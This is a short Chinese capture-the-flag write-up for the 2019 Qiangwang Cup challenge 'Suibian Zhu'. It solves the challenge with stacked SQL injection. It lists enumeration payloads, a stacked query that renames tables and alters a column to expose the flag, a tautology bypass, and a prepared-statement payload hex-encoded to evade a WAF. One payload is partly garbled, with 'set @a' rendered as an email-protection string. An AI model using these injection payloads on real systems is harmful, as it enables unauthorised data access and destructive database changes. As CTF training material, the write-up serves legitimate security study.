[强网杯 2019]随便注
这道题和前面那道差不多,也是堆叠注入
sqlmap是没有灵魂的
1';show databases;#
1';show tables;#
有两个表
1'; show columns from `1919810931114514`;#
1'; show columns from `words`;#
这里获取flag的操作比较骚,参考以为大佬的:
因为这里有两张表,内容是从words
表中会显的
内部的查询逻辑推断是:
select id, data from word where id =$POST[inject]
所以我们的做法是:
- 将
words
表名改成word1
或者其他 - 将
1919810931114514
表名改成words
- 然后把新的
words
里的flag
列改为id
(避免一开始无法查询)
payloads
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
说明一下:
CHARACTER SET utf8
表示设置数据库的默认编码为utf8COLLATE utf8_general_ci
数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感
这两句在注入的时候可以不加,即:
1';
RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100);#
然后用 1' or '1'='1
访问一下。
成功得到flag
通过预编译的做法:
payload:
1';
[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
其中0x73656c656374202a2066726f6d20603139313938313039333131313435313460
是转化成16进制绕过waf,
select * from `1919810931114514`